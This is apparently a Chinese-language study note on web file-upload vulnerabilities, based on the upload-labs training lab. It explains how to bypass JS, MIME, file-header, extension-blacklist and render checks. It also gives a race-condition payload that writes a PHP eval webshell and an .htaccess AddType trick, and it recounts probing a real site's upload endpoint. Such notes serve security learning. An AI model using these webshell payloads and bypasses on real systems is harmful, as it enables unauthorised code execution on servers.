文件上传漏洞是建立在当前网站对其对应的文件格式后门可以正常解析的前提下;

文件上传是攻击者利用上传实现后门写入目标系统,随后链接后门进行权限控制的安全问题;

常规限制及绕过

这里以国光的文件上传靶场为例;

https://github.com/sqlsec/upload-labs-docker

前端 JS 限制

抓包监听,若上传文件时没有对应的数据包,但此时浏览器提示文件类型不正确,则为前端 JS 限制;

  • 本地保存原始页面,修改其表单提交代码进行绕过;

在提交表单处会触发onsubmit事件,对应 JS 中的 checkfilesuffix() 函数(对文件格式进行校验);

这里只需要保存该源码在本地,删除 onsubmit 事件,并将其action处修改为对应的网址即可;eg:action="http://192.168.181.128:30001/"

1
2
3
4
5
6
7
8
9
10
11
<form action="" method="post" enctype="multipart/form-data" onsubmit="return checkfilesuffix()">
<div class="form-group">
<label for="exampleFormControlFile1">文章插入图片</label>
<input type="file" class="form-control-file" name="file" id="file">
<input type="submit" name="submit" value="Upload" />
</div>
</form>

<script>
function checkfilesuffix(){.....}
</script>
  • 抓包绕过;(先上传正常的图片抓包进行修改其后缀及在图片数据包中添加 php 代码)

.htaccess

Apache 对应的网站配置文件, 主要用于目录级别的配置;主要功能:URL 重定向、密码保护目录、自定义错误页面、MIME 类型、启用或禁用特定类型和访问控制等;

可以向目标网站根目录上传 .htaccess 文件,AddType application/x-httpd-php .png,使其将 png 文件可以作为 php 文件来解析处理;

MIME 类型检测

在上传文件的数据包中会包含 MIME 文件类型的校验;可以通过抓包修改其对应文件类型类绕过;eg:Content-Type:image/png

1
2
3
4
5
6
超文本标记语言.html文件:text/html
普通文本.txt文件:text/plain
PDF文档.pdf:application/pdf
PNG图像.png:image/png
GIF图像.gif:image/gif
MPEG文件.mpg、.mpeg:video/mpeg

文件头判断

图片类型的文件在均有自己固定的 16 进制格式,在文件头;eg:gif 文件的文件头为 GIF89a

可以通过在 php 文件前添加这种类型的文件头来绕过限制;

1
2
3
4
5
6
7
8
JPEG (jpg),文件头:`FFD8FF`  
PNG (png),文件头:`89504E47`
GIF (gif),文件头:`47494638`
HTML (html),文件头:`68746D6C3E`
ZIP Archive (zip),文件头:`504B0304`
RAR Archive (rar),文件头:`52617221`
Adobe Acrobat (pdf),文件头:`255044462D312E`
MS Word/Excel (xls.or.doc),文件头:`D0CF11E0`

黑名单

限制后缀格式;过滤不严情况下,各种常用的绕过方式进行尝试:双写、大小写

Apache 服务器能够使用 PHP 解析 .php3.php5.phtml

一般可以尝试的后缀名绕过:

1
2
3
4
PHP:php2、php3、php5、phtml、pht
ASP: asa、cer、cdx
ASPX:ascx、ashx、asac
JSP:jspx、jspf

条件竞争

代码逻辑的问题,其先对文件进行保留再进行验证然后删除,此时通过大量的发包访问上传的文件使其触发来执行后门;

eg:<?php fputs(fopen('1.php','w'),'<?php eval($_REQUEST[1]);?>');?>;随后访问对应网址的 1.php 文件;

其他

https://www.sqlsec.com/2020/10/upload.html

(比较古老,且现在几乎很难遇到)

  • move_uploaded_file缺陷

示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 获取上传文件的原始名称
$file_name = $_POST['save_name']; // 从POST获取用户指定的保存名称(不安全!)
// 获取文件扩展名
$file_ext = pathinfo($file_name, PATHINFO_EXTENSION);
// 检查扩展名是否在黑名单中
if(in_array($file_ext, $deny_ext)) {
// 如果扩展名被禁止,应该在这里处理错误
}
// 获取上传的临时文件路径
$temp_file = $_FILES['file']['tmp_name'];
// 设置最终保存路径
$img_path = UPLOAD_PATH . '/' . $file_name;
// 移动临时文件到最终位置
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true; // 标记上传成功
}

当 $img_path 可控的时候,会忽略掉 $img_path 后面的 /. ;

00 截断绕过

前提条件是 PHP 版本 < 5.3.4 且 php.ini 文件的 magic_quotes_gpc 的值为 Off

编程语言处理字符串时的漏洞,通过在文件名中插入空字节(%00)来绕过文件类型检查;空字节(Null Byte,\0 在 C 语言和许多编程语言中表示字符串的结束。PHP 内核是由 C 语言实现的,系统在对该文件名进行读取时,若遇到 0x00 则会认为读取结束;则可以利用这一点对文件类型名进行绕过;

示例:

1
2
3
4
5
6
7
$filename = "shell.php%00.jpg"; // 包含空字节的文件名 
$ext = substr($filename, strrpos($filename, '.') + 1); // 期望获取扩展名
// 由于%00被解析为空字节,实际处理的字符串是"shell.php",而非完整的"shell.php%00.jpg"
// 因此$ext被错误地认为是"php",但服务器可能误认为是"jpg"

$upload_path = "/uploads/" . $filename; // $filename包含%00
// 实际保存的路径可能被截断为"/uploads/shell.php",而忽略了%00后的内容

二次渲染

图片马上传发现其中的 php 代码消失了,并且图片没有任何变化,说明网站在不改变图片原内容的情况下,重新制作了图片;

绕过:将上传的图片下载下来,比较两张图片的差异,在相同的地方插入 php 代码重新上传;

::$DATA

::$DATA Windows 系统中用于存储文件实际数据的隐藏属性,对于普通用户是隐藏的,只有系统和特定程序才能访问和使用它;

抓包在上传的 php 文件后添加 ::$DATA

补充限制及绕过

文件夹执行权限的限制

需要可以控制上传的目录才有可能绕过;

解码还原

文件上传后利用编码传输解码还原;将文件以数据的形式进行读取并还原;

eg:上传的文件在访问时并不是一个简单的 URL 文件目录的形式,而是以一些编码后的路径进行返回;data:image/jpeg;base64......

这种情况已经固定好的文件解析的协议,无法直接绕过;

分站存储

只能先尝试获取上传文件的站;再尝试原站点;(基本上没办法,跑路~)

OSS 对象

将文件存储到专门的云存储文件服务中,其自带对执行等权限的限制;

无法直接绕过;

应用场景

在一些特定场景下可能存在的文件上传漏洞;(隐式)

JS 或 API 接口代码

当前页面没有文件上传的地方,但是在其加载的 JS 代码中可能会存在文件上传的接口;

通过分析该 JS 代码,写一个 HTML 表单提交测试改文件上传的功能;

eg:页面中加载的 JS 中有上传文件的相关代码;

file:fileupload.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
// 选择文件的输入框元素
const fileInput = document.getElementById('fileInput');
// 上传按钮元素
const uploadButton = document.getElementById('uploadButton');
// 显示上传进度的元素
const progressBar = document.getElementById('progressBar');
// 显示上传结果信息的元素
const resultMessage = document.getElementById('resultMessage');

// 为上传按钮添加点击事件监听器
uploadButton.addEventListener('click', function () {
// 获取用户选择的文件
const file = fileInput.files[0];
if (file) {
// 创建 FormData 对象,用于存储要上传的数据
const formData = new FormData();
// 将文件添加到 FormData 中
formData.append('file', file);

// 创建 XMLHttpRequest 对象,用于发送 HTTP 请求
const xhr = new XMLHttpRequest();
// 打开一个 POST 请求,目标是上传文件的服务器端脚本
xhr.open('POST', 'upload.php', true);

// 监听上传进度事件
xhr.upload.addEventListener('progress', function (e) {
if (e.lengthComputable) {
// 计算上传进度百分比
const percentComplete = (e.loaded / e.total) * 100;
// 更新进度条的宽度
progressBar.style.width = percentComplete + '%';
// 在进度条内显示进度百分比
progressBar.textContent = percentComplete.toFixed(2) + '%';
}
});

// 监听请求完成事件
xhr.addEventListener('load', function () {
if (xhr.status === 200) {
// 上传成功,显示成功信息
resultMessage.textContent = '文件上传成功:' + xhr.responseText;
} else {
// 上传失败,显示错误信息
resultMessage.textContent = '文件上传失败,状态码:' + xhr.status;
}
});

// 监听请求错误事件
xhr.addEventListener('error', function () {
// 显示网络错误信息
resultMessage.textContent = '网络错误,请检查网络连接。';
});

// 发送请求
xhr.send(formData);
} else {
// 用户未选择文件,显示提示信息
resultMessage.textContent = '请选择一个文件进行上传。';
}
});

构造表单提交上传文件;

1
2
3
4
5
6
7
<body>
<input type="file" id="fileInput">
<button id="uploadButton">上传文件</button>
<div id="progressBar"><span></span></div>
<div id="resultMessage"></div>
<script src="http://192.168.181.128:82/67/5/file_upload.js"></script>
</body>

实战:

在一个登录网站页面搜索加载的 JS 文件中的内容,搜索upload,找到其中一个 JS 文件会通过 ajax 上传文件到一个指定目录下 url:"../datas/upload_json.ashx?mode=WUploadShopLogo&shop_code="......

访问该路径;

202211223344

基本可以判断这里确实有文件上传点,后续进行分析尝试构造表单来上传文件;

第三方编辑器上传漏洞

ueditor 编辑器;

202311223344

上传文件抓包,修改上传的文件格式为 xml,在 uploadimg 处修改为 uploadfile,放包上传;

有的网站会包含该编辑器,可能也是隐式的,在加载的文件中搜索是否有该编辑器对应的文件及目录,通过分析对应的文件目录修改 URL 来上传文件并访问;

https://forum.butian.net/share/167

https://www.cnblogs.com/qq350760546/p/6669112.html

特定的源码审计漏洞

已经报出来的一些特定框架的漏洞,若对应网站的该框架没有修复则可直接利用;